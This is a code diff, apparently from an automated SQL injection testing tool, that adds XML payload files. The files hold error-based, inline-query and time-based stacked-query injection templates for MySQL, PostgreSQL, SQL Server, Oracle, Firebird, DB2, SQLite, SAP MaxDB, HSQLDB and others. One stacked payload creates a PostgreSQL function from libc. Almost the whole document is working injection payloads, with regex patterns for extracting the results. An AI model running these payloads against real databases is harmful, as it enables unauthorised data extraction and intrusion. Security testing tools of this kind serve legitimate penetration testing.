+ Microsoft SQL Server + Sybase +
+ + + + Oracle error-based - Parameter replace + 2 + 3 + 1 + 1,3 + 3 + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Firebird error-based - Parameter replace + 2 + 4 + 1 + 1,3 + 3 + (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) + + (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+ + + + IBM DB2 error-based - Parameter replace + 2 + 4 + 1 + 1,3 + 3 + RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ + + + + + MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) + 2 + 5 + 1 + 2,3 + 1 + ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) + + ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP) + 2 + 5 + 1 + 2,3 + 1 + ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s) + + ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET) + 2 + 3 + 1 + 2,3 + 1 + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+ + + + MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS) + 2 + 5 + 1 + 2,3 + 1 + ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x) + + ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.7.8 +
+ + + + MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR) + 2 + 5 + 1 + 2,3 + 1 + ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+ + + + MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) + 2 + 3 + 1 + 2,3 + 1 + ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML) + 2 + 5 + 1 + 2,3 + 1 + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR) + 2 + 5 + 1 + 2,3 + 1 + ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) + + ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 4.1 +
+ + + + PostgreSQL error-based - ORDER BY, GROUP BY clause + 2 + 3 + 1 + 2,3 + 1 + ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+ + + + PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES) + 2 + 5 + 1 + 2,3 + 1 + ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase error-based - ORDER BY clause + 2 + 4 + 1 + 3 + 1 + ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) + + ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle error-based - ORDER BY, GROUP BY clause + 2 + 4 + 1 + 2,3 + 1 + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + Firebird error-based - ORDER BY clause + 2 + 5 + 1 + 3 + 1 + ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) + + ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+ + + + IBM DB2 error-based - ORDER BY clause + 2 + 5 + 1 + 3 + 1 + ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ + + + + + + Microsoft SQL Server/Sybase error-based - Stacking (EXEC) + 2 + 2 + 1 + 1-8 + 1 + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] + + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] + -- + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml new file mode 100644 index 00000000000..7269be695c4 --- /dev/null +++ b/data/xml/payloads/inline_query.xml @@ -0,0 +1,157 @@ + + + + + + Generic inline queries + 3 + 1 + 1 + 1,2,3,8 + 3 + (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) + + (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + + + + + MySQL inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 + (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL +
+ + + + PostgreSQL inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 + (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]') + + (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 + (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') + + (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 + (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) + + + (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+ + + + SQLite inline queries + 3 + 3 + 1 + 1,2,3,8 + 3 + SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' + + SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite +
+ + + + Firebird inline queries + 3 + 3 + 1 + 1,2,3,8 + 3 + SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE + + SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+ + + + ClickHouse inline queries + 3 + 3 + 1 + 1,2,3,8 + 3 + ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+ + + + diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml new file mode 100644 index 00000000000..b431bb7849f --- /dev/null +++ b/data/xml/payloads/stacked_queries.xml @@ -0,0 +1,730 @@ + + + + + + MySQL >= 5.0.12 stacked queries (comment) + 4 + 2 + 1 + 1-8 + 1 + ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + ;SELECT SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 stacked queries + 4 + 3 + 1 + 1-8 + 1 + ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + ;SELECT SLEEP([SLEEPTIME]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 stacked queries (query SLEEP - comment) + 4 + 3 + 1 + 1-8 + 1 + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 stacked queries (query SLEEP) + 4 + 4 + 1 + 1-8 + 1 + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL < 5.0.12 stacked queries (BENCHMARK - comment) + 4 + 3 + 2 + 1-8 + 1 + ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + # + + + + +
+ MySQL +
+ + + + MySQL < 5.0.12 stacked queries (BENCHMARK) + 4 + 5 + 2 + 1-8 + 1 + ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + + + + +
+ MySQL +
+ + + + PostgreSQL > 8.1 stacked queries (comment) + 4 + 1 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;SELECT PG_SLEEP([SLEEPTIME]) + -- + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL > 8.1 stacked queries + 4 + 4 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;SELECT PG_SLEEP([SLEEPTIME]) + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL stacked queries (heavy query - comment) + 4 + 2 + 2 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) + -- + + + + +
+ PostgreSQL +
+ + + + PostgreSQL stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) + + + + +
+ PostgreSQL +
+ + + + PostgreSQL < 8.2 stacked queries (Glibc - comment) + 4 + 3 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) + -- + + + + +
+ PostgreSQL + < 8.2 + Linux +
+ + + + PostgreSQL < 8.2 stacked queries (Glibc) + 4 + 5 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) + + + + +
+ PostgreSQL + < 8.2 + Linux +
+ + + + Microsoft SQL Server/Sybase stacked queries (comment) + 4 + 1 + 1 + 1-8 + 1 + ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + ;WAITFOR DELAY '0:0:[SLEEPTIME]' + -- + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase stacked queries (DECLARE - comment) + 4 + 2 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + -- + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase stacked queries + 4 + 4 + 1 + 1-8 + 1 + ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + ;WAITFOR DELAY '0:0:[SLEEPTIME]' + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase stacked queries (DECLARE) + 4 + 5 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) + 4 + 1 + 1 + 1-8 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL + + ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL + -- + + + + +
+ Oracle +
+ + + + Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) + 4 + 4 + 1 + 1-8 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL + + ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL + + + + +
+ Oracle +
+ + + + Oracle stacked queries (heavy query - comment) + 4 + 2 + 2 + 1-8 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + + ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 + -- + + + + +
+ Oracle +
+ + + + Oracle stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + + ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 + + + + +
+ Oracle +
+ + + + Oracle stacked queries (DBMS_LOCK.SLEEP - comment) + 4 + 4 + 1 + 1-8 + 1 + ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END + + ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END + -- + + + + +
+ Oracle +
+ + + + Oracle stacked queries (DBMS_LOCK.SLEEP) + 4 + 5 + 1 + 1-8 + 1 + ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END + + ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END + + + + +
+ Oracle +
+ + + + Oracle stacked queries (USER_LOCK.SLEEP - comment) + 4 + 5 + 1 + 1-8 + 1 + ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END + + ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END + -- + + + + +
+ Oracle +
+ + + + Oracle stacked queries (USER_LOCK.SLEEP) + 4 + 5 + 1 + 1-8 + 1 + ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END + + ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END + + + + +
+ Oracle +
+ + + + IBM DB2 stacked queries (heavy query - comment) + 4 + 3 + 2 + 1-8 + 1 + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) + + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + -- + + + + +
+ IBM DB2 +
+ + + + IBM DB2 stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) + + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + + + + +
+ IBM DB2 +
+ + + + SQLite > 2.0 stacked queries (heavy query - comment) + 4 + 3 + 2 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + -- + + + + +
+ SQLite + > 2.0 +
+ + + + SQLite > 2.0 stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + + + + +
+ SQLite + > 2.0 +
+ + + + Firebird stacked queries (heavy query - comment) + 4 + 4 + 2 + 1-8 + 1 + ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + + ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + -- + + + + +
+ Firebird + >= 2.0 +
+ + + + Firebird stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + + ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + + + + +
+ Firebird + >= 2.0 +
+ + + + SAP MaxDB stacked queries (heavy query - comment) + 4 + 4 + 2 + 1-8 + 1 + ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + + ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 + -- + + + + +
+ SAP MaxDB +
+ + + + SAP MaxDB stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + + ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 + + + + +
+ SAP MaxDB +
+ + + + HSQLDB >= 1.7.2 stacked queries (heavy query - comment) + 4 + 4 + 2 + 1-8 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+ + + + HSQLDB >= 1.7.2 stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + >= 1.7.2 +
+ + + + HSQLDB >= 2.0 stacked queries (heavy query - comment) + 4 + 4 + 2 + 1-8 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + >= 2.0 +
